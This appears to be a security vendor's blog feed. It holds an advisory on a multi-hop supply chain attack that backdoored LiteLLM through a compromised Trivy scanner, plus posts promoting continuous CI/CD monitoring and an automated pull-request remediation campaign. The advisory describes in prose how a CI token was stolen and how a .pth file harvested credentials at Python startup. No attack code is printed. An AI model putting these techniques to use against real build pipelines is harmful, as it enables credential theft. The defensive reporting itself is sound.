Vigilant Research

From Scanner to Weapon: Inside the Supply Chain Attack That Backdoored the #1 AI Key Management Library

sales@vigilantnow.com (Chris Nyhuis) — Wed, 25 Mar 2026 21:37:42 GMT

Vigilant Research

Software Supply Chain Attack Escalation: Trivy, LiteLLM, and the 50K-Repo Vulnerability Landscape

March 25, 2026 | Threat Level: CRITICAL

Over the past three weeks, a threat actor known as TeamPCP has executed a cascading software supply chain attack that represents the most significant CI/CD threat tracked to date. What began as a single compromised GitHub Action has escalated into a multi-hop campaign that has now reached the AI infrastructure layer, compromising the package that manages LLM API keys for organizations worldwide.

This is not theoretical. Three confirmed attacks in three weeks, each using the previous compromise as a stepping stone:

March 12 - tj-actions/changed-files: Attackers compromised a widely-used GitHub Action, injecting code that stole secrets from thousands of CI/CD pipelines
March 19 - Aqua Security Trivy: The same attackers compromised Trivy, one of the most widely-used open-source vulnerability scanners. The tool designed to find security issues became the attack vector
March 24 - BerriAI LiteLLM: LiteLLM, the most popular AI API key management gateway (97 million monthly downloads), was backdoored via its own CI/CD pipeline, which ran the compromised Trivy scanner. Every organization that updated to version 1.82.7 or 1.82.8 had all environment variables, SSH keys, cloud credentials, and AI API keys exfiltrated to an attacker-controlled server

Vigilant anticipated this escalation pattern. Three weeks ago, we completed the largest CI/CD security scan ever conducted, scanning the 50,000 most-starred repositories on GitHub. We found that 20,265 repositories (40.6%) have the same class of vulnerability that enabled this attack chain. The full research is published at vigilantdefense.com/research.

VIGILANT / RESEARCH

How a security scanner
became the weapon

The Trivy-to-LiteLLM attack chain: how attackers turned the most popular vulnerability scanner into a delivery mechanism for backdooring the #1 AI key management library.

THE THREE-HOP CHAIN

March 12

tj-actions

→

March 19

Trivy

→

March 24

LiteLLM

→

Impact

Every AI key in your org

KILL CHAIN

● Step 1: Compromise Trivy

TeamPCP backdoors Aqua Security's open-source vulnerability scanner through its GitHub Action. The tool meant to find malware becomes the delivery mechanism.

● Step 2: Trivy runs unpinned in LiteLLM's CI

LiteLLM's build pipeline pulls Trivy from apt with no pinned version. When Trivy was compromised, attacker code ran automatically inside the build.

● Step 3: PyPI publish token stolen

An overly permissive CI token was exfiltrated straight from the GitHub Actions runner. This token had the ability to push new packages to PyPI.

● Step 4: Malicious versions pushed to PyPI

litellm 1.82.7 and 1.82.8 ship a hidden .pth file. It executes at Python start. No import needed. Just having the package installed is enough.

● Step 5: Credential harvesting

The payload collects all environment variables, SSH keys, and cloud credentials, then sends everything to attacker-controlled infrastructure.

● Step 6: Every AI key harvested

LiteLLM is specifically designed to hold and manage API keys for OpenAI, Anthropic, Azure, AWS Bedrock, and every other major LLM provider. The attacker targeted the one package that by definition has access to every AI API key in an organization.

97M

MONTHLY DOWNLOADS AT RISK

20,265

REPOS WITH THE SAME VULN PROFILE

590M

DOWNSTREAM FORKS EXPOSED

WE SCANNED LITELLM BEFORE THIS ATTACK HAPPENED

Our scan of GitHub's top 50K repos flagged 135 CI/CD vulnerabilities in LiteLLM across 6 categories. Here is what the exposure looked like:

Critical vulnerabilities

Expression injection with secret exposure. Direct path to compromise

Unpinned GitHub Actions

Any of these can be swapped for malicious code mid-build

Overly permissive tokens

The exact class of flaw that handed attackers the PyPI publish key

Comment/issue triggers without auth checks

External users can trigger privileged workflows

Expression injection in action inputs

Unsanitized inputs that execute attacker-controlled code

Network exfiltration in privileged context

Outbound network access from steps with secret access

CONTINUOUS MONITORING

Runner Guard is the free scanner.
ThreatCERT is the enterprise platform behind it.

Continuous CI/CD monitoring, supply chain risk scoring, and real-time alerting correlated with network, DNS, TLS, and dark web intelligence across your entire vendor chain.

LEARN ABOUT THREATCERT

WHY THIS ATTACK IS DIFFERENT

No click required

This was not phishing. The attack was delivered through a routine software update. Any developer who ran pip install --upgrade litellm was compromised automatically.

Security tools were the weapon

The attackers compromised a vulnerability scanner. Organizations that were actively trying to be secure were the ones who got hit.

AI keys are the prize

LiteLLM manages API keys for OpenAI, Anthropic, Azure, AWS, and every other major AI provider. The attacker targeted the one package that has access to every AI API key in an organization.

Transitive dependencies are attack vectors

The compromise was discovered when an MCP plugin pulled LiteLLM as a transitive dependency. Developers who never directly installed it were still exposed.

THE BROADER LANDSCAPE: 50,000 REPOS SCANNED

Vigilant conducted the largest CI/CD security scan ever performed. The numbers speak for themselves:

50,012

REPOS SCANNED

192,776

VULNERABILITIES FOUND

40.6%

VULNERABLE RATE

68%

VULN RATE FOR 50K+ STAR REPOS

SCAN YOURS NOW

     brew install Vigilant-LLC/tap/runner-guard 
    
runner-guard scan .

FROM THE MAKERS OF RUNNER GUARD

Get Continuous Protection with ThreatCERT

How the LiteLLM Attack Worked

This attack is a textbook example of a multi-hop supply chain compromise. Each step was deliberate and calculated:

Attackers compromised Aqua Security's Trivy vulnerability scanner through its GitHub Action
LiteLLM's CI/CD pipeline ran Trivy as part of its build process, pulled without a pinned version
The compromised Trivy exfiltrated LiteLLM's PyPI publish token from the CI/CD runner
Attackers used the stolen token to push malicious LiteLLM versions (1.82.7, 1.82.8) to PyPI
A hidden .pth file executes automatically when Python starts. No import needed. Just having the package installed is enough
The payload harvested all environment variables, SSH keys, cloud credentials, and AI API keys, then sent everything to attacker infrastructure

Why This Matters to Your Organization

LiteLLM is not an obscure library. It is the most widely used AI API gateway, with 97 million monthly downloads. It is specifically designed to hold and manage API keys for OpenAI, Anthropic, Azure, AWS Bedrock, and every other major LLM provider. The attacker deliberately targeted the one package that, by definition, has access to every AI API key in an organization.

If your organization uses LiteLLM, or uses any software that depends on LiteLLM as a transitive dependency, you may be affected. The malicious payload was discovered when an MCP plugin running inside a code editor pulled the compromised package as a transitive dependency, meaning developers who never directly installed LiteLLM were still exposed.

The critical takeaway: This attack did not require clicking a link, opening an email, or visiting a website. It was delivered through a routine software update. Any organization that ran pip install --upgrade litellm in the past 48 hours should assume credential compromise and begin rotation immediately.

Vigilant's Research: We Found This Pattern Before the Attack

After the tj-actions attack in early March, Vigilant built and open-sourced Runner Guard, a free CI/CD security scanner, and conducted the largest scan of its kind, examining the 50,000 most-starred repositories on GitHub for the exact vulnerability classes that enabled this attack chain.

Our scan of the LiteLLM repository specifically found 135 CI/CD vulnerabilities across 6 rule categories before this attack occurred. Across the broader dataset of 50,000 repositories, we found 192,776 CI/CD vulnerabilities affecting 20,265 repositories, with 590 million downstream forks inheriting these vulnerable configurations.

The most popular, most trusted projects are the most exposed. Repositories with 50,000+ stars have a 68% vulnerability rate. Vigilant is the first and only organization to conduct research at this scale. The full findings are published at vigilantdefense.com/research.

Continuous Monitoring

Runner Guard Was Built on ThreatCERT

Runner Guard is the free, open-source scanner. ThreatCERT is the enterprise platform behind it: continuous CI/CD monitoring, supply chain risk scoring, and real-time alerting correlated with network, DNS, TLS, and dark web intelligence across your entire vendor chain.

LEARN ABOUT THREATCERT

Recommended Actions

Immediate: Next 24 Hours

Check for LiteLLM exposure. Determine if any system, application, or developer machine in your environment has LiteLLM installed. Check both direct installations and transitive dependencies. If versions 1.82.7 or 1.82.8 are present, assume all credentials on that machine have been compromised.
Rotate all AI API keys and cloud credentials. If LiteLLM was present in any form, rotate every API key, cloud credential, and SSH key on the affected systems. This includes OpenAI, Anthropic, Azure, AWS, and any other service credentials that were accessible as environment variables.
Freeze all open-source package updates. Do not update any open-source dependency until it has been verified as safe. This applies to pip, npm, go modules, and any other package manager. The supply chain is actively under attack. Treat every update as potentially hostile until verified.
Review CI/CD pipeline dependencies. Identify every third-party tool, action, or scanner that runs in your build pipelines. If any are pulled without version pinning or integrity verification, they are a potential entry point for this same attack pattern.

Near-Term: Next 7 Days

Scan your repositories with Runner Guard. Vigilant's open-source CI/CD scanner detects the exact vulnerability classes exploited in this attack chain. It is free, takes one command to run, and covers 15 security rule categories including supply chain trust, injection, privilege escalation, and AI agent configuration risks.

$ brew install Vigilant-LLC/tap/runner-guard

$ runner-guard scan .

Scan any third-party open-source project before adoption or update. Clone the repository locally and run Runner Guard against it before integrating it into your environment. If it has unpinned dependencies, overly permissive tokens, or injection vulnerabilities in its CI/CD pipeline, those are the exact entry points attackers are exploiting right now.
Implement version pinning. Every GitHub Action, every package dependency, and every tool in your CI/CD pipeline should be pinned to an immutable hash, not a mutable version tag. Tags like @v3 or @latest can be silently redirected to malicious code. SHA pinning is the only reliable defense.
Establish an update verification process. No open-source package should be updated in production environments without first verifying the new version against known-good checksums, reviewing the changelog for unexpected changes, and scanning the project's CI/CD configuration for vulnerabilities.

Supply Chain Security Best Practices

Do not update any open-source package today without scanning it first. The supply chain is actively compromised. Treat every update as suspicious until verified.
Be careful what you install. Transitive dependencies are attack vectors. LiteLLM was pulled as a dependency of other packages. Developers who never directly installed it were still compromised.
Pin everything. Mutable version tags are the root cause of this entire attack chain. SHA pinning for GitHub Actions. Lock files with integrity hashes for package managers. No exceptions.
Apply least-privilege to CI/CD tokens. If LiteLLM's PyPI publish token had been scoped to only run during tagged releases with manual approval, the attacker could not have pushed a malicious version from a compromised build step.
Monitor for anomalous package behavior. The LiteLLM compromise was discovered because a developer's machine ran out of RAM from a fork bomb in the payload. Not every compromise will be that obvious. Monitor for unexpected network connections, environment variable access, and file system changes from your dependencies.

Three attacks in three weeks. Each one used the last as a stepping stone. The 20,000 other vulnerable repositories we identified are the next target list. Scan your repos before someone else does.

Free Tool

Download Runner Guard

SCAN NOW - FREE

Enterprise Platform

ThreatCERT by Vigilant

LEARN MORE

Read the Full 50K Scan Research

The largest CI/CD security scan ever conducted. 50,012 repos. 192,776 findings.

VIEW RESEARCH REPORT

Sources: The Register, The Hacker News, Wiz Security Blog, Snyk Security Research, ARMO Security, GitHub Advisory Database, Vigilant 50K Scan Research.

Beyond Snapshots — Why CI/CD Security Needs Continuous Monitoring

sales@vigilantnow.com (Chris Nyhuis) — Tue, 24 Mar 2026 18:30:03 GMT

Chris Nyhuis

CEO, Vigilant

11 min read

Part of a 9-part research series on CI/CD pipeline security. See all articles below.

We scanned 50,000 repos once. By the time you read this, the results are already stale. Developers have added new workflows, changed action versions, and introduced new injection sinks. A scan captures a moment. Continuous monitoring captures the trajectory.

The Setup

This entire research series - from the pillar findings through the supply chain crisis, the chain attack anatomy, and the AI force multiplier - is based on a single scan. 50,012 repos. One point in time. March 2026.

The findings are real. The data is accurate. And it’s already aging.

In the time between our scan and your reading of this article, repositories have added new workflow files, updated action versions, changed permission blocks, added new triggers, and introduced new expression interpolation patterns. Some of the 20,265 vulnerable repos have been fixed. Some of the 29,747 clean repos have introduced new vulnerabilities. The dataset is a snapshot - useful for understanding the scope of the problem, insufficient for maintaining security.

This is the fundamental limitation of point-in-time scanning, and it’s the problem this article addresses.

The Snapshot Blindness Problem

Snapshot Blindness is the gap between what a single scan reveals and what’s actually happening in a continuously evolving environment. Every security tool that runs once and reports results suffers from it. The report is accurate at the moment of capture and progressively less accurate with every passing day.

In CI/CD, Snapshot Blindness is particularly acute because:

Pipelines change constantly. Developers modify workflows weekly - new build steps, new actions, new deployment targets, new triggers. Each change can introduce or resolve vulnerabilities. A repo that was clean yesterday can have five new findings today because a developer added an unpinned action in a new release workflow.

Action maintainers push updates behind mutable tags. Your pinned-yesterday action could be compromised today. The mutable tag still says @v3, but @v3 now points to different code. Without continuous monitoring, you won’t know until the next manual scan - if there is one.

GitHub releases new features that change the security model. Artifact attestation, OIDC improvements, reusable workflow enhancements, new trigger types - the platform evolves, and each evolution can change the risk profile of existing workflows.

Dependencies shift. The action you depend on changed maintainers. A single-maintainer project went dormant. An organization’s security posture degraded. These are temporal signals that a single scan can’t capture.

The 50K scan we ran is the most comprehensive CI/CD security dataset ever published. And it’s a single frame from a continuous movie. The story it tells is directionally correct but temporally limited.

From Runner Guard to ThreatCert

Vigilant built Runner Guard as the open-source answer to “scan your repos right now.” It’s free, it’s fast, and it detects 14 vulnerability classes that no other scanner covers - including AI config injection (RGS-010, RGS-011) and taint-to-execution chain analysis.

Runner Guard is the right tool for a point-in-time assessment. For continuous monitoring, ThreatCert picks up where Runner Guard leaves off.

What Runner Guard Does

Scans GitHub Actions workflow files for 14 security rule categories
Autofix engine for SHA pinning (RGS-007)
Console, JSON, and SARIF output formats
Runs locally, in CI, or against remote GitHub repos
Free and open-source - the tool that powered this 50K-repo research

What ThreatCert Adds

Runner Guard’s scanning engine is integrated into ThreatCert as one of seven intelligence domains. CI/CD Pipeline Intelligence runs continuously alongside:

Network Intelligence - infrastructure exposure, port scanning, service enumeration
DNS Intelligence - domain health, dangling records, takeover risks
TLS/Certificate Intelligence - certificate expiry, weak configurations, chain issues
Web Application Intelligence - surface-level web security signals
Dark Web Intelligence - credential leaks, data exposure, threat actor mentions (Coming Q2 2026)
Social Media Intelligence - brand impersonation, phishing campaigns, reputation signals (Coming Q2 2026)
CI/CD Pipeline Intelligence - Runner Guard’s engine, running continuously

Every 60 minutes, ThreatCert re-evaluates your entire entity landscape - including your CI/CD pipelines and the CI/CD pipelines of your dependencies. When a developer adds an unpinned action or introduces an injection sink, ThreatCert detects it in the next scan cycle - not at the next annual audit, not at the next quarterly review, not when the next incident forces a retroactive investigation.

Temporal Shift Analysis

Single scans show you what’s there now. Temporal Shift Analysis shows you how things are changing - and how fast.

ThreatCert tracks entity attributes over time, detecting when characteristics migrate. A repository that changed maintainers three times in 30 days is fundamentally different from one that’s been stable for two years - even if both have the same vulnerability count right now. A GitHub Action that changed its tag-to-commit mapping twice in a week is a different risk from one that updates quarterly.

Temporal Shift Velocity - the speed of change - becomes its own risk signal. Rapid changes in pipeline configuration, dependency updates, or permission modifications can indicate:

A legitimate major refactoring (expected, but worth monitoring)
A compromised account making rapid modifications (the AI-paced attack from our force multiplier analysis)
A maintainer adding infrastructure for a new deployment target (new attack surface)
An organization changing CI/CD tooling (dependency landscape shift)

Temporal Shift Analysis catches all of these because it measures velocity, not just state. A snapshot tool sees “this repo has 5 findings.” ThreatCert sees “this repo had 0 findings last week, 2 three days ago, and 5 today - the pipeline is degrading rapidly.”

Attack Condition Alignment Detection

Individual findings are concerning. Aligned conditions across multiple domains are critical.

A single unpinned action is a medium-severity finding. An unpinned action in a repo where:

The maintainer’s credentials appeared in a dark web dump last month
The repo’s GITHUB_TOKEN has write permissions
The workflow processes untrusted input from pull requests
The CI environment has access to production cloud credentials

…is not a medium-severity finding. It’s an imminent supply chain compromise waiting for an attacker to connect the dots.

ThreatCert’s Attack Condition Alignment Detection correlates CI/CD findings with signals from all seven intelligence domains. The correlation is what transforms individual findings into predictive risk assessment. Runner Guard can tell you the CI/CD pipeline is vulnerable. ThreatCert can tell you that the conditions for exploitation are aligning.

The Organizational Attacker Intent Score

Traditional security metrics count vulnerabilities. ThreatCert’s Organizational Attacker Intent Score (OAIS) asks a different question: how likely is it that an adversary would actually target your organization?

The OAIS considers:

Entity landscape: What your organization looks like from the outside - your repos, your actions, your dependencies, your exposure
Attack condition alignment: Whether the conditions for a successful attack are present simultaneously across multiple domains
Temporal velocity: How quickly your risk posture is changing
Ecosystem position: Whether your organization sits at a chokepoint (like Docker) or is a leaf node

A high vulnerability count with no attacker interest is different from a moderate vulnerability count with active attacker reconnaissance. The OAIS captures this distinction - it’s a predictive model of adversary behavior, not a vulnerability counter.

Cross-Domain Correlation - Real Scenarios

The power of multi-domain monitoring becomes concrete through examples:

Scenario 1: Dark web credential + CI/CD vulnerability. ThreatCert’s Dark Web Intelligence detects that a maintainer of a popular GitHub Action has had credentials appear in a data breach dump. Simultaneously, CI/CD Pipeline Intelligence shows that 500 repos in your vendor chain depend on that action with mutable tags. Either signal alone is informational. Together, they indicate that the conditions for a supply chain compromise through that action are actively aligning. ThreatCert escalates the combined signal before the compromise occurs.

Scenario 2: DNS takeover + CI/CD curl-pipe-bash. A workflow downloads and executes a script from install.example.com. DNS Intelligence detects that the example.com domain has a dangling CNAME record pointing to a decommissioned cloud instance. An attacker can claim that cloud instance, serve a malicious script, and every CI run that curls from that URL executes the attacker’s code. Neither the CI/CD finding (RGS-006) nor the DNS finding alone tells the full story - the correlation does.

Scenario 3: Social media impersonation + maintainer account. Social Media Intelligence detects a new GitHub account impersonating a well-known action maintainer - same avatar, similar username, actively opening issues on popular repos. CI/CD Pipeline Intelligence shows that the real maintainer’s action is used by 1,000+ repos unpinned. The impersonation campaign may be the social engineering precursor to a credential compromise. ThreatCert correlates the impersonation signal with the supply chain exposure and alerts before the compromise attempt.

These scenarios aren’t theoretical. They’re the kind of multi-domain attack preparation that single-domain tools - including standalone CI/CD scanners - systematically miss.

2-3 Hop Vendor Chain Monitoring

Runner Guard scans your repos. ThreatCert goes further - it monitors your entire vendor supply chain across all intelligence domains, not just CI/CD.

The supply chain crisis demonstrated that your security depends on the security of your dependencies. SHA pinning protects you from tag manipulation, but what about the vendor behind the action? What about their network security posture, their DNS hygiene, their TLS configurations, their exposure on dark web forums? A compromised vendor doesn’t just mean a bad commit - it means an organization whose security has degraded across multiple dimensions simultaneously.

ThreatCert monitors your vendor chain 2-3 hops deep, every 60 minutes, across all active intelligence domains:

Hop 1: Your repos and their direct action dependencies
Hop 2: Your actions’ own CI/CD pipelines and their dependencies
Hop 3: Foundational infrastructure - the build tools, the package managers, the registries

At each hop, ThreatCert doesn’t just scan for CI/CD vulnerabilities. With vendor authorization, you see the full ThreatScore across every intelligence module - CI/CD pipeline security, network exposure, DNS health, TLS posture, and web application risks. A vendor with clean CI/CD pipelines but an expiring TLS certificate and dangling DNS records is telling you a story about organizational security priorities. A vendor whose network exposure score has been degrading over 90 days while their maintainer count drops from three to one is telling you a different story - one about an organization that may be losing the capacity to respond to a security event.

This is the difference between monitoring your supply chain for known CI/CD vulnerabilities and understanding the actual security posture of the organizations you depend on. When a dependency’s overall threat score starts climbing - not just a new CVE, but a pattern of degradation across network, DNS, and CI/CD simultaneously - ThreatCert alerts you before the compromise reaches your pipelines.

The 50K Scan Proves the Model

This research campaign is the strongest argument for continuous monitoring:

We scanned 50K repos and found 192,776 findings. That number is already wrong - repos have changed since the scan completed.
We found 20,265 vulnerable repos. Some have been fixed since. Some have gotten worse. We don’t know which without re-scanning.
The 2020 inflection shows that new repos have higher vulnerability rates than old ones. The problem is getting worse, not better - and only continuous measurement shows the trajectory.
The AI force multiplier compresses attack timelines from days to hours. A weekly scan won’t catch an attack that executes and cleans up in four hours.

The data we’ve published through this series is a service to the community - a snapshot that reveals the scale of CI/CD security risk. But a snapshot, by definition, is frozen. Continuous monitoring is the live feed.

The Funnel

The series of articles traces a natural path:

Read the research (this series) - understand the scale and nature of CI/CD security risk
Scan your repos with Runner Guard - free, open-source, immediate results
Realize point-in-time isn’t enough - pipelines change, dependencies shift, attack conditions align
ThreatCert: 7 domains, 60-minute cycles, 2-3 hop vendor chain - continuous monitoring that treats CI/CD as one dimension of an integrated threat landscape

Vigilant open-sourced Runner Guard so anyone can scan their repos. We built ThreatCert for organizations that need that scan running every hour, correlated with six other intelligence domains, across their entire vendor chain.

Why CI/CD Is Different From Other Security Domains

Organizations have accepted continuous monitoring for network security (IDS/IPS), endpoint security (EDR), and cloud security (CSPM). CI/CD is the gap.

The argument for continuous CI/CD monitoring is stronger than for most other domains:

Higher rate of change. Network configurations change slowly - firewall rules, routing tables, DNS records update incrementally. CI/CD pipelines change rapidly - developers modify workflows with every feature, every release, every new tooling adoption. The higher the rate of change, the faster a snapshot goes stale.

Supply chain dependency. Your network security depends on your own configurations. Your CI/CD security depends on thousands of third-party action maintainers. When a single-maintainer action like action-gh-release receives a new commit, your security posture potentially changes - without you doing anything. Continuous monitoring catches these external changes. Point-in-time scanning can’t.

No perimeter. Network security has perimeter concepts - firewalls, NATs, DMZs. CI/CD has no perimeter. Workflow files are public. Actions are pulled from public repositories. Credentials flow through shared infrastructure. The attack surface is fully exposed, all the time, to anyone who can read a YAML file. Continuous visibility into this permanently exposed surface isn’t optional.

Attacker speed. As we documented in AI Agents as Force Multipliers, AI-paced CI/CD attacks can execute in hours. The monitoring frequency needs to match the attack speed. Annual audits worked when attacks were slow. They don’t work when attacks are autonomous.

What You Can Do Today

Scan your repos with Runner Guard. Start with the point-in-time assessment. Know where you stand right now.
Fix what Runner Guard finds. Use the Fix It guide to resolve findings - most take minutes.
Add Runner Guard to your CI. Run it on every workflow change so new vulnerabilities are caught at the PR stage, before they merge.
Evaluate your monitoring posture. Ask: how would we know if one of our action dependencies was compromised today? If the answer is “we wouldn’t until the next scan” - that’s the gap continuous monitoring closes.
Consider ThreatCert for continuous coverage. If your organization depends on open-source CI/CD infrastructure (and in 2026, every organization does), the question isn’t whether to monitor it - it’s how often.

The 50K scan revealed the problem. Runner Guard makes the scan accessible. ThreatCert makes it continuous. Together, they cover the full spectrum from awareness to ongoing protection.

From snapshot to continuous.

Runner Guard showed you the problem. ThreatCert solves it - continuous CI/CD pipeline monitoring, Temporal Shift Analysis, Attack Condition Alignment Detection, and Organizational Attacker Intent Scoring across your entire vendor chain. Every 60 minutes.

See ThreatCert in Action Get Runner Guard Free Learn More About Vigilant

What's Next, Fixing 50K Repos, One PR at a Time

sales@vigilantnow.com (Chris Nyhuis) — Tue, 24 Mar 2026 18:21:44 GMT

Chris Nyhuis

CEO, Vigilant

10 min read

Part of a 9-part research series on CI/CD pipeline security. See all articles below.

Finding vulnerabilities is step one. We’re submitting pull requests to fix them - automated remediation at a scale that manual security review can’t match. And a frank assessment of what can and can’t be fixed.

The Setup

Across this series - from the pillar findings through the supply chain crisis and the fix guide - we’ve documented 192,776 CI/CD security findings across 20,265 of GitHub’s most popular repositories. Publishing those findings without fixes would be irresponsible. It would be a shopping list for attackers.

We’re doing something different. Vigilant is launching an automated remediation campaign: scanning affected repos, generating fixes, and submitting pull requests. Not disclosing to maintainers and hoping they figure it out - delivering the actual fix, ready to review and merge.

This is the responsible disclosure story. It’s also a statement of intent about what security research should look like.

The Plan

The remediation pipeline follows the same automation philosophy that powered the scan:

Scan - Runner Guard identifies findings with rule ID, file, line number, severity, and affected action reference
Generate fix - The autofix engine resolves the finding (currently: SHA pinning for RGS-007, the 74.5% majority)
Submit PR - An automated PR is created with:
What was found (rule ID, description, severity)
Why it matters (attack scenario, blast radius)
The exact fix (diff showing the change)
How to verify (run Runner Guard locally to confirm)
Maintainer reviews and merges - on their own terms, at their own pace

No pressure. No deadlines. No public shaming. Just a ready-to-merge fix with full context.

Why PRs Instead of Advisories

The security research industry has a disclosure pattern: find vulnerabilities, publish a report, wait for maintainers to fix it. Sometimes maintainers respond quickly. Often they don’t - they’re busy, they don’t understand the risk, or they don’t know how to fix it.

Pull requests change the dynamic:

Ready-to-merge fixes get adopted faster than advisories. A maintainer who receives a PR can review a diff and click merge. A maintainer who receives an advisory has to understand the finding, research the fix, implement it, test it, and commit it. The PR removes four of those five steps.

PRs demonstrate good faith. An advisory says “you have a problem.” A PR says “you have a problem, and here’s the solution, and I’ve already done the work.” The relationship is collaborative, not adversarial.

PRs create accountability on both sides. The PR is public. The maintainer can see exactly what we’re proposing. The community can see that we’re not just pointing fingers - we’re contributing fixes. And if our fix is wrong, the maintainer can tell us.

PRs scale. Manual security research produces a report. Automated PR generation produces fixes across thousands of repos. At 50K-repo scale, PRs are the only viable remediation mechanism.

The Prioritization

Not all findings are equal. Our PR campaign follows a tiered prioritization:

Tier	Criteria	Count	Rationale
1	Repos that ARE GitHub Actions with vulns	145	Cascade risk - compromise affects all consumers
1b	Recursive supply chain (Actions with vulnerable CI)	~50	Foundational infra - aws-actions, nektos/act, create-pull-request
2	RGS-010 findings (AI config injection)	4 repos	Novel attack class, high-profile repos
3	Taint-to-execution chains	541	Untrusted input → code execution
4	RGS-007 + RGS-008 compound	3,172	Complete attack chain in one repo
5	Highest-starred repos with critical findings	~89	Maximum visibility per PR
6	Everything else by severity	~16,300	Bulk campaign

Tier 1 is the cascade multiplier. If a repo IS a GitHub Action AND has vulnerable CI, fixing it doesn’t just secure that repo - it secures every downstream consumer. The 145 vulnerable GitHub Actions repos are the highest-leverage targets in the dataset. Fixing nektos/act (33 findings) secures the CI of every project that tests their Actions locally with act. Fixing peter-evans/create-pull-request (10 findings) secures one of the most widely-used PR automation Actions.

Tier 2 is novel. RGS-010 (AI config injection) is a finding class that didn’t exist before Runner Guard. Only 4 repos have it, but they include a leading Python AI framework. These PRs introduce maintainers to an attack vector they may not have considered.

Tier 3 is critical severity. Taint-to-execution chains are the most directly exploitable findings - an attacker can trigger them with a crafted PR title or issue body. These repos need immediate attention.

What We Can’t Fix

Not everything in the dataset is fixable through PRs. This is the honest assessment:

The Zombie Repos

809 archived repos have 6.5 million downstream forks and vulnerabilities that will never be patched. Nobody’s home to accept a PR.

LibreSpark/LibreTV (26,944 forks, 30 findings), solana-labs/solana (5,557 forks, 4 critical), matrix-org/synapse (2,118 forks, 134 findings) - these repos are frozen. Their vulnerabilities propagate indefinitely through forks.

We can’t fix archived repos. What we can do: - Flag them. Make the community aware that these repos have permanent vulnerabilities - Warn forkers. Anyone forking an archived repo should know they’re inheriting vulnerable workflow files - Track the forks. The 26,944 forks of LibreTV each have the same 30 findings - that’s the real scale of the problem

The Abandoned Repos

Beyond archived repos, 376 repos haven’t been pushed to in over a year. 129 haven’t seen activity in two years. PRs submitted to these repos will sit unmerged indefinitely.

We’ll submit PRs anyway - in case a maintainer returns - but we’re realistic about the merge rate for dormant projects. The existence of thousands of abandoned repos with active vulnerabilities and active forks is itself a data point that the ecosystem should reckon with.

The Complex Fixes

Some findings can’t be resolved with a simple PR:

Expression injection (RGS-001, RGS-002) requires workflow logic changes, not just version pin updates. The maintainer needs to refactor how untrusted input is handled.
Trigger changes (RGS-009) may require redesigning how the workflow processes fork code. The fix is known (see the Fix It guide), but it’s not a one-line diff.
Permission scoping (RGS-008) requires the maintainer to determine what minimum permissions each job actually needs.

For these findings, our PRs will include the fix recommendation and code examples, but the actual implementation requires maintainer involvement. We’ll provide the roadmap - they’ll navigate the specifics.

The Ecosystem Effect

If the PR campaign succeeds - even partially - the impact extends beyond the repos we directly fix.

Network effects. When a major framework repo merges a SHA-pinning PR, the fix becomes visible to everyone who watches that repo. Developers who see SHA-pinned references in projects they respect are more likely to adopt the practice themselves. Each merged PR is a signal to the broader community that CI/CD security matters.

Template propagation. Many organizations maintain internal workflow templates that are copied across repos. If the template repo merges our fix, every new repo created from that template starts secure. One PR can secure hundreds of future repos.

Dependabot chain. Once SHA pins are in place, Dependabot can maintain them - submitting update PRs when new action versions are released. The initial PR breaks the inertia. Dependabot sustains the momentum.

Fork healing. When a parent repo merges a fix, forks can sync the change upstream. This doesn’t happen automatically - fork maintainers need to pull the update - but the fix is at least available. Given the 590 million downstream forks in our dataset, even a small sync rate means significant reduction in the vulnerable fork population.

The PR campaign isn’t just about fixing 20,265 repos. It’s about establishing SHA pinning as the default practice across the GitHub ecosystem. Every merged PR makes the next conversation about CI/CD security a little easier.

The Responsible Disclosure Philosophy

Our approach to this campaign reflects a specific philosophy about security research:

Findings without fixes are a liability. Publishing “we found 192,776 vulnerabilities across 20,265 repos” without providing remediation is, at best, an academic exercise and, at worst, an attacker’s roadmap. The data is valuable because it shows the scale of the problem. The PRs are valuable because they close the gap between awareness and action.

Automation matches the scale of the problem. CI/CD vulnerability patterns are systematic - they affect thousands of repos in the same way. The remediation should be equally systematic. One-on-one responsible disclosure (emailing each maintainer individually) doesn’t work at this scale. Automated PRs with full context do.

Transparency over coordination. Traditional responsible disclosure involves private communication, embargo periods, and coordinated publication. That model works for zero-day vulnerabilities where advance notice gives vendors time to patch. CI/CD misconfigurations are different - they’re in public workflow files that any attacker can already see. The scan data doesn’t reveal anything that isn’t already public. What the PRs add is the fix.

We eat our own cooking. Runner Guard scans its own CI/CD pipeline. Vigilant’s repos are SHA-pinned. We’re not asking maintainers to do something we don’t do ourselves.

The Scale Challenge

50K repos. 14 rules. Multiple workflow files per repo. Manual remediation is impossible - which is exactly why we built the automation.

But even automated PR generation has constraints:

GitHub rate limits. PR creation is rate-limited. Submitting PRs to 20,265 repos can’t happen in a day. The campaign will run over weeks to months, respecting rate limits and processing repos in priority order.

Maintainer fatigue. If we submit 10 PRs to a single repo simultaneously (one per finding), the maintainer is more likely to close all of them than merge any. We’ll batch findings per repo into a single comprehensive PR where possible.

Bot detection. GitHub’s abuse detection may flag automated PR activity. We’ll operate transparently - our bot account will be clearly labeled, and our PRs will include context about the research campaign.

Follow-up. PRs that aren’t merged within a reasonable window need follow-up. Some maintainers may have questions. Some may want modifications. Some may not understand the finding. We’re committed to responding to comments and iterating on PRs - not just fire-and-forget.

The Narrative

“We found vulnerabilities in 2 out of 5 of GitHub’s top 50K repos. We’re not just writing about it - we’re submitting pull requests to fix them.”

That sentence is what differentiates this research from every other security scan that publishes findings and walks away. The findings are the research. The PRs are the commitment. And Runner Guard is the tool that makes both possible - free, open-source, and available to anyone who wants to run the same analysis on their own repos.

What Happens If Nobody Fixes These

The data paints a clear picture of the alternative: if the ecosystem doesn’t address these findings, the chain attack model we documented becomes increasingly viable at scale.

The 2020 inflection in our pillar data shows the trend is getting worse, not better. Repos created in 2025 have a 59.4% vulnerability rate - the highest in the dataset. New projects are inheriting vulnerable CI/CD patterns from templates, documentation examples, and community convention. Without intervention, the vulnerability rate will continue to rise.

The AI force multiplier compresses the timeline for exploitation. What was a sophisticated, human-paced attack becomes automated and scalable. The gap between the scale of exposed CI/CD pipelines and the effort required to exploit them shrinks as AI lowers the skill barrier.

The zombie repos (809 archived, 6.5M forks) represent the permanent damage - vulnerabilities that will propagate indefinitely because the maintainers are gone. Every day that passes without fixing active repos adds more repos to the zombie population as maintainers lose interest, change jobs, or move on. The abandoned-repo count only grows.

This isn’t alarmist - it’s arithmetic. The attack surface is expanding. The tools to exploit it are improving. The fixes are straightforward and available today. The PR campaign is our attempt to shift the trajectory before the next major CI/CD supply chain incident demonstrates the cost of inaction.

What Comes Next

This article will be updated as the PR campaign progresses with:

